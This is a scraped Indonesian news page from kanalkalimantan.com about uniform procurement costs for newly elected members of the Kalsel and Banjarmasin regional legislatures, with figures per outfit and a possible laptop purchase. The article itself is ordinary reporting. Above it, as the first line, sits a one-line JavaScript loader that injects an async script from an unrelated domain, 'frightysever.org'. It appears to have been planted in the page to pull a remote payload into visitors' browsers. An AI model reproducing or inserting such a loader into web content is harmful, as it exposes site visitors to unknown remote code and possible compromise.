(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Berbagai persiapan dilakukan jelang pelantikan anggota DPRD Kalsel periode 2019-2024. Salah satunya, pengadaan seragam bagi anggota dewan. Pihak Sekretariat Dewan telah alokasikan dana pengadaan seragam sebesar Rp 1,3 miliar. Jumlah tersebut lebih besar daripada anggaran sebelumnya yang hanya Rp 1,2 miliar.
Nantinya, anggota baru DPRD Kalsel akan mendapatkan sejumlah set seragam Dewan yang termasuk dalam pengadaan yang dilakukan melalui proses lelang. Dari rincian, pakaian seragam adat daerah dengan harga per set paling mahal yaitu pakaian adat daerah Rp 6 juta per set, set jas pakaian sipil lengkap Rp 5,5 juta per set, pakaian sipim resmi Rp 4,3 juta per set, pakaian sipil harian Rp 3,3 juta per set, pakaian dinas harian Rp 2,7 juta per set.
Dijelaskan Kepala Bagian (Kabag) Tata Usaha (TU) Sekretariat DPRD Provinsi Kalsel, Riduansyah, nilai realisasi tersebut meningkat dibanding tahun sebelumnya di kisaran angka Rp 1,2 miliar. “Peningkatan realisasi tersebut dikarenakan adanya peningkatan jumlah pengadaan pakaian seragam. Dimana pada pengadaan Tahun 2019 ini merupakan tahun peralihan dari masa jabatan Anggota Dewan periode 2014-2019 dan Anggota Dewan periode 2019-2024,†ungkapnya.
Sehingga, pengadaan pakaian seragam dilakukan untuk para Anggota Dewan lama dan Anggota Dewan periode baru.
Tak hanya DPRD Kalsel, anggota DPRD Banjarmasin juga akan menikmati erbagai fasilitas. Untuk pakaian saja mereka dapat 5 baju dan jas dengan total harga sekitar Rp 8,5 juta! Kasubbag Humas dan Protokol Sekretariat DPRD Kota Banjarmasin H. Ahmad Syauqi saat ditemui kanalkalimantan.com di ruang kerjanya, Kamis (29/8), mengatakan, anggota dewan yang terpilih akan mendapatkan pin dan pakaian yang telah disediakan oleh Setwan.
“PSH (pakaian sipil harian) sebanyak dua stel, satu stelnya pagunya Rp 1 juta, kalau dua stel Rp 2 juta. Terus PSR, pakaian sipil resmi Rp 1,25 juta satu stel. Kemudian ada lagi PSL (pakaian sipil lengkap), dalam bentuk jas nilai pagunya Rp 2,5 juta satu stel,†tutur Syauqi.
Kemudian, pakaian adat Banjar akan disiapkan oleh Setwan dengan nilai pagu sebesar Rp 3 juta. “Masih pagu ya, nanti bisa kami hemat dan dikurangkan (hingga) silpa, tidak masalah,†tambah Syauqi. Terakhir, pakaian sasirangan satu setnya sebesar Rp 500 ribu. Jika ditotal, seluruhnya akan mencapai Rp 8,5 juta lebih.
Terkait pengadaan laptop baru bagi anggota dewan, Syauqi mengakui, ada wacana untuk memudahkan anggota dewan dalam bekerja dan memperoleh informasi, salah satunya dengan penyediaan fasilitas berupa laptop baru. “Walau bagaimanapun harus ada laptop atau sejenisnya. Memang ada wacana untuk disiapkan itu. Tapi mungkin (APBN tahun) 2020 atau (APBN) Perubahan 2020. Jadi belum pasti,†tutur Syauqi. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.